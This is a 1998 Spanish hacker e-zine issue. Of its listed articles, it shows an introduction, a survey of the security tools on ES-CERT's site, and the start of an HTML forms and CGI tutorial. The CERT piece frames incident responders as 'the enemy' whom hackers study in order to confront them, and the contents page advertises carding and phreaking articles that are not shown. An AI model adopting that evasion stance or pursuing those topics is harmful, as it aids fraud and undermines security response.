Copy Link
Add to Bookmark
Report

RareGaZz Issue 11

eZine's profile picture
Published in 
RareGaZz
 · 30 Dec 2020

  

<<::RareGaZz::>>
presenta

A¤o 1, numero 11
~~~~~~~~~~~~~~~~~~~~~

Contenidos
==========

1.- Introduccion -GuyBrush-
2.- Conoce a tu enemigo : ES-CERT -Nobody-
3.- Interactividad, Forms & Scripts CGI -Sebasti n Quiroga-
4.- Carding -SlimeLORD-
5.- Como aprovechar los puertos de un sistema -GuyBrush-
6.- Phreaking cellulars -SlimeLORD-
7.- Programming cellulars -SlimeLORD-
8.- Como ser un "jaker" en 10 minutos -O'Flaherty-
9.- Bug Win95+HP -12r43lOverdrive-
10.- Cambiar el logo de inicio de Windows 3.x -Mr_Frost-
11.- Trucos para el IRC hispano -Lobo-
12.- Las posibilidades en Windows NT (Parte 2) -Azum Lord-


_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

1 - INTRODUCCION
~~~~~~~~~~~~~~~~
Hola amigos. Ya estamos aqui de nuevo. Una vez mas pediros disculpas por la
tardanza pero como todos sabeis no tenemos un espacio de tiempo fijo entre
cada edicion. Simplemente, cuando tenemos tiempo y articulos buenos (son
buenos, verdad?) pues la sacamos para que todos puedan disfrutar y aprender.

Como RareTrip anda demasiado ocupado, yo GuyBrush, me encargare temporalmente
del mantenimiento y direccion de RareGaZz. A pesar de que hemos estado algun
tiempo 'desconectados' hemos vuelto con mas ganas que nunca. Siento mucho
todos esos mails que aun no hemos respondido. Pero os aseguro que ya nos
hemos puesto manos a la obra y pronto sera todo como antes.

Este es nuestro onceavo E-zine y pronto, gracias a vosotros, cumpliremos un
a¤o. Esperamos que sigais enviando vuestros articulos, dudas y sugerencias.

-= GuyBrush =-
guybrush@cyberdude.com

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Es indispensable para todo hacker estar al dia sobre el tema de la seguridad
informatica asi como de los bugs que diariamente aparecen en los diversos
sistemas. Si no sabes lo que es el CERT, lee esto con atencion ...
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

2 - CONOCE A TU ENEMIGO : ES-CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
13-02-1998.
??????
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
ÛÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÛ²²
Û CONOCE A TU ENEMIGO : ES-CERT Û²²
ÛÛ ÛÛ²²
ÛÛÛ by NOBODY ÛÛÛ²²
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Nota Del Autor: No me hago responsable de la utilizacion de la informacion
aqui expuesta ya que tan solo es con fines didacticos.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

- Que es este articulo ?.

Bueno, como GuyBrush me pidio un articulo para Raregazz y yo a los amigos
no les fallo, pues pense que este articulo podria ser interesante, en el
cual hablare sobre el ES-CERT, su servidor web, que podemos encontrar en
el, etc... desde un punto de vista hacker/analista en seguridad.

- ES-CERT.

Antes de nada tenemos que hablar sobre el CERT, que significa Computer
Emergency Response Team que traduzido a nuestra lengua seria Equipo de
Respuesta a Emergencias Informaticas. Es una organizacion americana
creada a raiz del famoso gusano de Internet a finales de los 80 por la
Agencia de Proyectos de Investigacion Avanzados para la Defensa, tambien
conocido como DARPA en Noviembre de 1988.

Esta organizacion formada por expertos en seguridad Unix,
periodicamente saca avisos sobre agujeros en programas o malas
configuraciones para sistemas Unix. A parte de esta tarea el CERT tambien
ofrece un servicio de asesoramiento si un sistema informatico a sido
invadido.

Los avisos del CERT suelen ser via mail pero tambien estan disponibles
en sus servidores FTP. Tambien se puede leer las news
comp.security.announce en el cual se distribuye los avisos de seguridad.

Como ya he dicho el CERT es una organizacion americana, pero desde hace
tiempo esta creando sedes por varios paises. Aqui es donde entra el
ES-CERT, ya que simplemente es la sede del CERT en Espa¤a, constituida
por expertos espa¤oles en seguridad.

EL CERT a su vez esta constituido por el FIRST, Forum of Incident Response
and Security Teams, Foro de Equipos de Seguridad y Respuesta ante
Incidentes. El cual engloba expertos en seguridad de todo el mundo que
buscan conjuntamente tapar los agujeros que van apareciendo.

Es recomendable leer la documentacion del CERT, en la cual viene muchas
pautas sobre configuraciones correctas y como asegurar el sistema
correctamente. Salir nombrado en un documento del CERT es signo de
prestigio en la comunidad de seguridad informatica.

- Su Servidor WEB.

En su magnifico web encontraremos multitud de informacion y tools sobre
seguridad informatica. Es interesante conocer estas tools desde varios
puntos de vista, por ejemplo un hacker le es util para conocer con que
se puede encontrar en un servidor y como enfrentarse, para un analista
en seguridad es una obligacion y por ultimo desde el punto de un Admin,
este tiene la posiblidad de mejorar la seguridad de su sistema de una
manera efectiva y la mas importante, totalmente gratis.

Ahora os pongo los directorios de soft con sus contenidos y os hablare
sobre ellos.

PAQUETES DE AUDITORIA
---------------------

* Cops = Conjunto de programas para verificar ciertos aspectos del
sistema operativo Unix. Creado por Dan Farmer, todo una leyenda
en el campo.

* Tripwire = Para la evaluacion de la integridad del sistema y deteccion
de alteraciones. Unix.

* Md5 = El popular md5. Unix.

* Satan111 = Para verificar si tenemos vulnerabilidades conocidas en los
accesos a la red. Unix.

* Argus = Audicion del trafico IP. Unix.

* Crack = Para probar la fortaleza de los passwords. Unix, Win NT.

* Monkey = Para probar la fortaleza de los passwords S/Key. Unix.

* Antizap = Para detectar modificaciones no autorizadas de wtmp y
lastlog. Unix.

GESTION DE RED Y MONITORIZACION
-------------------------------

* Cpm o Ifstatus = Mejor que ifconfig para detectar si la tarjeta de
red est  en modus promiscuo. Unix.

SOFT DE CIFRADO
---------------

* Pgp = De momento, y mientras no se implante S/MIME, es lo mejor que
podemos utilizar. Para todos los sistemas: Dos, Windows, Amiga,
Archimedes, Atari, Vax-Vms, Unix.

* Cryptograf¡a = Completa coleccion de documentos y material criptografico
mantenida por J.R. Valverde. La coleccion procede de los
mejores servidores FTP sobre el tema, y se actualiza a
diario. Unix, PC.

CONSTRUCCION DE CORTAFUEGOS
---------------------------

* Logdaemon = Incorpora varias carateristicas en los servidores rlogin,
rsh, login, rexec y ftp. Mejora de la informacion de log,
capacidades de control de acceso, restricciones de acceso
de root y mejora los metodos de autenticacion (one-time
passwords y SecureNet keycard one-time passwords). Unix.

* Wietse's tools (tcp_wrappers) = Capacidad de logging y filtrage para la
mayor¡a de los servidores que gestiona
inetd. Tambien aporta servicios
similares al basado en RPC. Unix.

* Skey = Passwords de un solo uso. Unix, PC.

* Tamu = Filtrage de paquetes con un PC. Tambien contiene el TIGER, de
funcionalidades similares al COPS y netlog para auditar la
conexion IP. Unix, PC.

* Tisfwtk = Utilidades para construir un cortafuegos. Proxias, llaves de
un solo uso, etc. Unix.

CIFRADO DE LA CONEXION
----------------------

* Ssh = Cifrado de la conexion. Unix, PC.

* Ssl = Libreria SSLeay y aplicaciones telnet, ftp y web server. Unix, PC.

OTROS
-----

* Lsof = Para ver los ficheros abiertos del sistema. Unix.

* Osh = Shell restringido. Permite al administrador restringir el acceso a
detreminados comados o ficheros para determinados usuarios a la vez
que permite generar registros de auditoria. Unix.

* Cgiwrap = Programa que permite a los usuarios del sistema el uso de sus
propios CGIs sin compromiter la seguridad del sistema. Unix.

* Libpcap = Libreria para algunas herramientas (argus, tcpdump). Unix.

* Antivirus = Antivirus. PC.

* Dos_Security = DOS Security Tools (password, risk analisis, etc..). PC.

Nota : Los comentarios de los programas los he copiado directamente del
WEB del ES-CERT ya que los considero muy buenos y no hace falta
ningun comentario a parte. Solo he a¤adido una linea al programa
Cops.

Como habeis podido apreciar el servidor contiene multitud de interesantes
herramientas que estan disponibles a cualquiera. Pero esto no acaba aqui
ya que en otras secciones del servidor encontraremos :

* Avisos de seguridad.
* Link's.
* Parches.
* Documentacion propia del CERT.
* Boletines.
* Articulos.
* Listas de Distribuci¢n y Grupos de Noticias.
* Bibliograf¡a.
* Publicaciones.
* Otros CERT's Europeos.

La segunda seccion mas interesante desde mi punto de vista es la de
Documentacion, donde encontraremos mucha lectura, por supuesto muchas cosas
en ingles. Los temas de esta seccion son los siguientes :

* CHECKLISTS = Listas sobre agujeros.

* DETECCION DE INTRUSIONES = EL titulo ya lo dice ;-)

* MONOGRAFICOS = Diversas cuestiones sobre seguridad (X-Win, FTP, etc...).

* POLITICAS DE SEGURIDAD = Como establecer politicas de seguridad.

* CORREO ELECTRONICO = La proteccion del correo.

* PRENSA y VARIOS = revistas sobre seguridad.

* ARCHIVOS = Mas programas y link's sobre seguridad.

* FIREWALLS = Cuestiones sobre Firewalls.

* CIFRADO DE LA CONEXION = Link's sobre criptografia.

* SEGURIDAD EN WWW = Protegiendo el servidor WEB.

* LEGISLACION = La legislacion actual referente a la comunicacion.

* LITERATURA = Historias reales sobre Hackers.

* OTROS = Mirror del CIAC.

Logicamente existen muchas mas herramientas de seguridad que no estan
aqui incluidas pero con lo que hay aqui disponible podemos pasar un buen
tiempo sin aburrirnos.

- Realmente es peligroso para un Hacker ?

Hombre, en la primera instancia el CERT se preocupa de que los Admin's
protejan correctamente su servidor, por otro lado disponen de personal
que puede ser llamado por las empresas y evaluan los da¤os inflinjidos
por un intruso, ademas tambien se ponen en contacto con las autoridades
por si es necesario alguna detencion, ya que el CERT logicamente no tiene
poder judicial pero si que puede dar caza a un intruso.

Por estas razones hay que conocer como operan y que tools utilizan,
logicamente utilizaran mas tool's que no estan en el web pero por lo menos
conoceremos varias de estas y sabremos enfrentarnos a ellas.

Por eso es necesario que los Hackers esten atentos a los avisos y conozcan
la documentacion del CERT, no solo como medida de seguridad sino ya que es
muy interesante.

EL URL DEL ES-CERT
------------------

http://escert.upc.es
FTP = escert.upc.es
E-Mail = cert@escert.upc.es

<->

Y desde aqui saludar a toda la pe¤a de #hackers, #hack, #rejoin &
#seguridad_informatica !!!!!!

Grupos como - J.J.F. / HACKERS TEAM - , CYBERHACK, WAKANDA, UNDERHACK,
@pOkalypSYS y todos los demas !!

Y por supuesto : Bisho, Folixia, Fragel, Ipgh0st, Metalslug, Dillet,
Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy Guy, Xus,
Enif, Bit-Quake, L.A., Nadia, Amanda, Case_zero y todos los que me dejo :)

NOBODY (c) 1998.

wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm
Parece que los Scripts CGI estan de moda. Si quieres aprender como funcionan
mira con detenimiento este completo articulo ...
wmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwmwm

3 - INTERACTIVIDAD, FORMS & SCRIPTS CGI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Interactividad,Forms & Scripts CGI

Indice
------
PRIMERA PARTE
Introducci¢n.
C¢mo funciona la cosa.
Por donde empezar.
Forms.
Forms simples.
Text, Password y TextArea.
Radio Buttons.
Check Buttons.
Pop-up Lists.
Forms Multiples y el Reset Button.


SEGUNDA PARTE
Que necesitamos para empezar.
Qu‚ son los scripts CGI?
Nuestro Primer Script.
Un script que hace Eco de un Form.
Un procesador de mensajes simple. (guestbook)
-retornar una pagina que no creamos
-verificar que todos los campos esten llenos y el email tenga un @
-Editar un documento HTML e insertar informacion en el medio.
Puntos importantes al programar scripts.


TERCERA PARTE (propuesta)
Im genes clikeables.
Desempaquetando informaci¢n.
Parsers CGI.
Scripts avanzados.
Animaci¢n.
Counters.
Locking de archivos.
P ginas Web con protecci¢n por password.
HTML/CGI como front/end de nuestros programas.
Ap‚ndice: Librer¡as para la Programaci¢n de scripts CGI.
Sites con informaci¢n acerca de CGI.
Vocabulario - Siglas

______________________________________________________________________________

Introducci¢n

El Web no es s¢lo un medio para colocar informaci¢n de variados tipos y
formatos a disposici¢n de los usuarios de Internet. Utilizando el Web es
posible tambi‚n interactuar con el usuario de forma que ‚l pueda, por ejemplo,
encargar un producto, suscribirse a alg£n servicio, reservar un pasaje o hacer
una consulta a una base de datos.
La intenci¢n de este texto es acercar a todos los que se han iniciado en HTML
hace poco tiempo, al dise¤o de p ginas interactivas y as¡ avanzar un poco m s
en sus conocimientos
Estimo que no debe ser para nada perfecto ni mucho menos, quiz s podr¡a decir
s¡, es bastante "entendible" por eso espero que sirva de iniciaci¢n en el tema,
cualquier correcci¢n, duda o sugerencia pueden mandarla a dquir@indec.mecon.ar donde
tratare de contestar en la medida de lo posible=cerebro/tiempo.
Pido disculpas por los toscos gr ficos ASCCI (fu‚ mi mejor esfuerzo), pero les
aseguro que la versi¢n HTML va a estar mucho mejor, lo prometo.
(con los dedos cruzados.... :D! ) provistos por el usuario.



C¢mo funciona la cosa.

En el momento en que accedemos a una p gina del tipo que mencionamos, podemos
apreciar distintos elementos que permitir n que nuestros deseos/necesidades
puedan ser transmitidos a las personas que manejan esa p gina.
La mec nica es simple, la informaci¢n es enviada a un programa, el script CGI,
procesada y en consecuencia es generada una salida.

Los datos que ingresemos ser n encapsulados en una variable de entorno
denominada QUERY_STRING, y en el momento de apretar el bot¢n de "submit" ser 
le¡da e interpretada por nuestro script. Dentro de ella ir n todos los valores
correspondientes a los datos que ingresemos, de manera que el script tendr 
que separarlos uno por uno para su proceso. Esto se logra f cilmente mediante
el uso de funciones que vienen inclu¡das en librer¡as especializadas para
cada lenguaje en particular.

Existen otras variables de entorno que pueden ser accedidas por un script CGI
cuando ‚ste se ejecuta tales como;

Variable de entorno Contenido
QUERY_STRING Data enviada al script CGI por el usuario. Esta puede
ser la salida de un FORM, u otra informaci¢n generada
din micamente o est ticamente.

REMOTE_ADDR La direcci¢n de internet de la m quina que hizo el
request.

CGI_VERSION N£mero de revisi¢n de la especificaci¢n CGI.

CGI_REFERER El URL del documento que contiene la llamada al script


El script eventualmente retornar  una p gina HTML o una imagen que es mostrada
como resultado de la ejecuci¢n. Este £ltimo caso es el de los counters,
que a traves de un peque¤o programa en C, "pegan" los distintos d¡gitos que
representan la cantidad de accesos que ha tenido esa p gina en un UNICO .GIF .
Para diferenciar estos dos tipos de salida se env¡a un "header" al comienzo de
la transmisi¢n de la respuesta que las identifica seg£n la siguiente especifi-
caci¢n (extensiones MIME).

Tipo de Informaci¢n retornada Texto
Una p gina HTMl Content-type: text/html
Una imagen .GIF Content-type: image/gif

{{ a prop¢sito de los counters, quisiera hacer un comentario personal sobre la
utilidad de los mismos, ya que en mi opini¢n la confiabilidad de ‚stos es como
m¡nimo dudosa, como ejemplo basta mencionar una p gina llamada "The Terrorist
Counter"
que contiene links a muchos counters diferentes en distintas p ginas,
de todo el mundo y que al ser cargada los hace aumentar a todos al mismo
tiempo, pero bueno, esa es otra historia..}}

Los scripts normalmente estan ubicados en el directorio cgi-bin del web-server
o bien en alguno similar (CGI-WIN,CGI-DOS).
La ubicaci¢n del directorio cgi-bin es determinada por el administrador del
Web, o "webmaster" como se lo llama com£nmente,y esta puede ser una ubicaci¢n
f¡sica real o bien una l¢gica.
Es importante mencionarlo ya que la mayor¡a de los web-servers s¢lo permiten
que se ejecuten programas desde estos directorios en particular.

Para finalizar este breve vistazo del tema basta con mencionar que los
scripts CGI pueden ser escritos en cualquier lenguaje. Com£nmente se utiliza
PERL o C, aunque contando con las librer¡as adecuadas se pueden escribir
tambi‚n en Turbo Pascal (mi caso particular), Visual Basic y hasta Delphi.



Por donde empezar.

Para comenzar analizaremos la creaci¢n de "forms", nuestro front-end/interfaz
gr fica que permitir  a los usuarios el ingreso de la informaci¢n deseada.
Estos "forms" hacen uso de elementos comunes para aquellos familiarizados con
las GUI modernas ,Windows o X-Windows, como son los buttons, check boxes,
radio buttons, pulldown menus, text boxes, etc...
Una vez que hayamos dominado bien este tema podremos pasar a la diagramaci¢n/
programaci¢n de los scripts CGI, es decir los programas que procesar n los
datos ingresados por los usuarios.
Creo que la mejor manera de aprender este tema, es ir leyendo el documento
y practicando en el browser (bastar  con usar Netscape y el Edit de DOS) de
todos modos cada cual elegir  el sistema que le resulte m s c¢modo.



****FORMS****

Forms simples.
Comenzaremos con un p gina tipo que tiene inclu¡do el tag correspondiente
al inicio de un form;

<HTML>
<HEAD>
<TITLE> P gina de Prueba </TITLE>
</HEAD>
<BODY>
<H1>Titulo Prueba de Forms </H1>

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/prog.exe">
<-- aqui comenzaria el c¢digo para los elementos del form --!>
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
</FORM> <-- y aqui terminar¡a --!>

</BODY>
</HTML>

Evidentemente "prog.exe" es el nombre del ejecutable (script CGI) que correr 
en el web-server una vez que el usuario env¡e la informaci¢n requerida, y POST
es el m‚todo que se utilizar  para realizar dicha acci¢n.
Existe otro m‚todo llamado GET que hace exactamente lo mismo, la diferencia
radica en que este £ltimo env¡a la data dentro de la variable de entorno que
hab¡amos mencionado (QUERY_STRING) "pegada" al URL del script y POST lo hace
como un "stream" continuo de caracteres. Es preferible utilizar POST ya que el
mismo no tiene limitaciones de tama¤o y en cambio GET s¡ puede tenerlas en el
server.


Text Line
El elemento m s simple que podemos utilizar en un FORM es el "Text line" que
le permite al usuario ingresar texto en una l¡nea. La sintaxis utilizada para
este tag es la siguiente;

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe">
Escriba su nombre<BR>
<INPUT TYPE="text" NAME="nom_var" SIZE=20 >
</FORM>

En el browser se ver :
Escriba su nombre
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


Cuando el usuario oprima la tecla "Enter" lo que haya escrito ser  enviado al
web-server.
Veamos los par metros de este tag. En NAME va el nombre de la variable que
almacenar  el texto que tipee el usuario y en SIZE tenemos 20 que es la longi
tud en caracteres que va a tener la caja.
Por medio de un script-CGI "capturaremos" la variable "nom_var" y leeremos su
contenido, el cual podremos procesar posteriormente.

Password Text.
En adici¢n a Text Line existe el tipo "password" que sirve para ingresar
claves o textos secretos, cuya sintaxis es muy parecida.
No se trata para nada de un medio seguro para enviar informaci¢n a trav‚s de
la Net, pero bueno, puede servirnos para este fin did ctico.


<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/pass.exe">
Ingrese su nombre y su password.<BR>
<INPUT TYPE="text" NAME="nom_var" SIZE=20 > <BR>
<INPUT TYPE="password" NAME="pass_var" SIZE=20 > <BR>
</FORM>

Obtendremos la siguiente salida :

Ingrese su nombre de usuario y su password.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Sebastian ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³************ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Obviamente lo que escribamos en la caja de password no aparecer  como texto
normal sino con una "*" representando cada car cter.



Text Boxes
Si necesitamos recibir m s de una l¡nea podemos utilizar los tags
<TEXTAREA ..> </TESTAREA> de la siguiente manera;


<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe">
Ingrese su comentario<BR>
<TEXTAREA NAME="caja" ROWS=5 COLS=40> Estes texto aparecer  en la caja por
default. EL mismo puede estar separado por "ENTERs".</TEXTAREA> <BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>


Ingrese su comentario
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Este texto aparecer  en la caja por ³
³default. El mismo puede estar separado ³
³por "ENTERs". ³
³ ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÉÍÍÍÍÍÍ»
ºEnviarº
ÈÍÍÍÍÍͼ

El significado de cada par metro es el siguiente:
NAME Nombre de la variable que almacena el texto de la caja.
ROWS Cantidad de filas de la caja de texto.
COLS Cantidad de columnas de la columna.



Submit Button
En el caso que acabamos de ver, el "Enter" sirve para pasar a la l¡nea siguien
te mientras se est  escribiendo, de manera que implementamos otro m‚todo para enviar la
informaci¢n, que es el "Submit Button", cuando el mismo sea oprimido el texto
que hayamos cargado ser  enviado.
Estos son los par metros del "Submit Button":
NAME nombre del bot¢n (para la referencia en el script)
VALUE texto que aparece en el bot¢n (por default es "Submit")

El p rametro "NAME" no es necesario en el caso anterior, pero es interesante
citarlo ya que podemos llegar a utilizarlo en el siguiente situaci¢n;

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/text.exe">
Le gust¢ la p gina<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Si">
<INPUT TYPE="submit" NAME="boton_env" VALUE="No">


Le gust¢ la p gina ??

ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
º Si º º No º
ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ

Aqu¡ la variable boton_env contendr  los valores "Si" o "No" seg£n cual
de los dos botones oprima el usuario.



Radio Buttons
Los Radio Buttons permiten que el usuario elija una £nica opci¢n entre varias.
Son esos peque¤os c¡rculos que aparecen cuando tenemos que indicar el sexo,
o bien un rango de edades o una opini¢n (muy bueno, bueno, malo).
Veamos un ejemplo del c¢digo.

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/radio.exe">
Cual es tu edad?<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="a"> menos de 18<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="b" CHECKED> entre 18 y 24<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="c"> entre 25 y 45<BR>
<INPUT TYPE="radio" NAME="edad" VALUE="d"> 46 o m s<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>

La pantalla mostrar¡a algo como esto:

Cual es tu edad?

( ) menos de 18
(*) entre 18 y 24
( ) entre 25 y 45
( ) 46 o m s

ÉÍÍÍÍÍÍ»
ºEnviarº
ÈÍÍÍÍÍͼ

El form retornar  dentro de la variable "edad" el valor a,b,c o d seg£n
corresponda la opci¢n que haya sido elegida por el usuario. La cla£sula CHECKED
permite tener un ¡tem seleccionado por default.


Check Boxes
Los Check Boxes sirven cuando necesitamos recibir un input con m s de una
opci¢n seleccionada, se utilizan por ejemplo para marcar las caracter¡sticas
que m s nos agradan de un determinado producto.
La sintaxis es bastante parecida al anterior.

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/check.exe">
Marque aquellos temas que sean de su inter‚s:<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="ntecs"> Nuevas Tecnologias<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="inves" CHECKED> Investigaci¢n<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="grafs" CHECKED> Gr ficos/CAD<BR>
<INPUT TYPE="checkbox" NAME="temas" VALUE="redes"> Redes/Comunicaciones<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>

En el browser tendr¡amos:

Marque aquellos temas que sean de su inter‚s:
ÚÄ¿
³ ³ Nuevas Tecnologias
ÀÄÙ
ÚÄ¿
³X³ Investigaci¢n
ÀÄÙ
ÚÄ¿
³X³ Gr ficos/CAD
ÀÄÙ
ÚÄ¿
³ ³ Redes/Comunicaciones
ÀÄÙ

ÉÍÍÍÍÍÍ» Igual que con los radio buttons, la cla£sula CHECKED
ºEnviarº permite tener marcados algunos cuadraditos por
ÈÍÍÍÍÍͼ default. En la variable "temas" van a ir a parar
aquellos opciones que sean marcadas por el usuario.



POP UP list
Podemos tambi‚n utilizar men£es descolgantes como manera de elegir una opci¢n
entre varias mediante el tag <SELECT> como podemos ver m s abajo.

<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/popup.exe">
Que sistema operativo usas?<BR>
<SELECT NAME="sistema">
<OPTION SELECTED> DOS
<OPTION> Windows 3.1
<OPTION> Windows 95
<OPTION> OS/2 Warp
<OPTION> Linux
<OPTION> Otro
</SELECT> <BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
</FORM>


|
ÚÄÄÄÄÄÄÄÄÄÄÄÂÄ¿ | ÚÄÄÄÄÄÄÄÄÄÄÄÂÄ¿
³DOS ³³ | ³DOS ³³ (as¡ se ver¡a el menu desplegado
ÀÄÄÄÄÄÄÄÄÄÄÄÁÄÙ | ÃÄÄÄÄÄÄÄÄÄÄÄÁÄ´ al pulsar con el mouse en la flecha)
| ³Windows 3.1 ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³Windows 95 ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³OS/2 Warp ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³Linux ³
| ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´
| ³Otro ³
| ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
ÉÍÍÍÍÍÍ» | ÉÍÍÍÍÍÍ»
ºEnviarº | ºEnviarº
ÈÍÍÍÍÍͼ | ÈÍÍÍÍÍͼ
|

Al igual que en los otros ejemplos, la variable "sistema" almacenar  el ¡tem
elegido.



Forms Multiples y el Reset Button

Todos los elementos que hemos mencionado pueden ser utilizados individualmente
con un submit button (o sea con un form para cada uno ) o bien pueden ser
empleados varios de ellos en una misma p gina.
Nota: Se estila en la creaci¢n de un buen form, el poner lineas horizontales
arriba y abajo del form (<HR> o alguna l¡nea gr fica) y proveer instrucciones
de como se deben llenar los blancos.

Para finalizar construiremos un ejemplo que contenga todos los tags vistos
hasta ahora. Este form m£ltiple introduce el uso de un nuevo tipo de bot¢n,
el Reset Button, que en resumida cuentas borra los datos que hayamos ingresado
y deja los elementos en su opci¢n de default.


<FORM METHOD="post" ACTION="http://alguna.direccion/cgi-bin/popup.exe">
Ingrese su informaci¢n:<BR>

Nombre: <INPUT TYPE="text" NAME="nombre" SIZE=30 > <BR>
Email: <INPUT TYPE="text" NAME="email " SIZE=30 > <BR>
Comentarios.<BR>
<TEXTAREA NAME="caja" rows=5 cols=40></TEXTAREA> <BR>
<BR>
Que lenguaje prefiere?<BR>
<SELECT NAME="lenguaje">
<OPTION SELECTED> Turbo Pascal
<OPTION> Turbo Pascal
<OPTION> Delphi
<OPTION> Visual Basic
<OPTION> Smalltalk/V
<OPTION> Cobol
</SELECT> <BR>
<BR>
Que le pareci¢ la gu¡a? <BR>
<INPUT TYPE="radio" NAME="opin" VALUE="a">Mala <BR>
<INPUT TYPE="radio" NAME="opin" VALUE="b">Regular<BR>
<INPUT TYPE="radio" NAME="opin" VALUE="c" CHECKED>Buena<BR>
<INPUT TYPE="radio" NAME="opin" VALUE="d">Muy Buena<BR>
<INPUT TYPE="radio" NAME="opin" VALUE="d">Excelente!<BR>
<BR>
<INPUT TYPE="checkbox" NAME="email" VALUE="si">
Marque esta casilla si quiere recibir informaci¢n v¡a email. <BR>
<BR>
<INPUT TYPE="submit" NAME="boton_env" VALUE="Enviar">
<INPUT TYPE="reset" NAME="boton_res" VALUE="Borrar">
</FORM>



Salida en Pantalla.

Ingrese su informaci¢n.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Nombre: ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Email: ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Comentarios.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
³ ³
³ ³
³ ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Que lenguaje prefiere?
ÚÄÄÄÄÄÄÄÄÄÄÄÄÂÄ¿
³Turbo Pascal³³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÁÄÙ

Que le pareci¢ la gu¡a?

( ) Mala
( ) Regular
(*) Buena
( ) Muy Buena
( ) Excelente!

ÚÄ¿
³ ³ Marque esta casilla si quiere recibir informaci¢n v¡a email.
ÀÄÙ

ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
ºEnviarº ºBorrarº
ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ



Para finalizar con la primera parte de este documento, solo resta decir que
todo lo visto hasta ahora es posible practicarlo sin necesidad de un server,
hasta un cut&paste de los ejemplos funcionar¡a, por lo tanto .....
Manos a la obra!!

______________________________________________________________________________

Que necesitamos para empezar.

Para empezar necesitamos tener un poco de conocimiento de alg£n lenguaje de
programaci¢n (el que sea).
La idea de esta gu¡a es utilizar como base Perl, aunque ser n dados ejemplos
en C y tambi‚n en Pascal (vamos Turbo todav¡a).
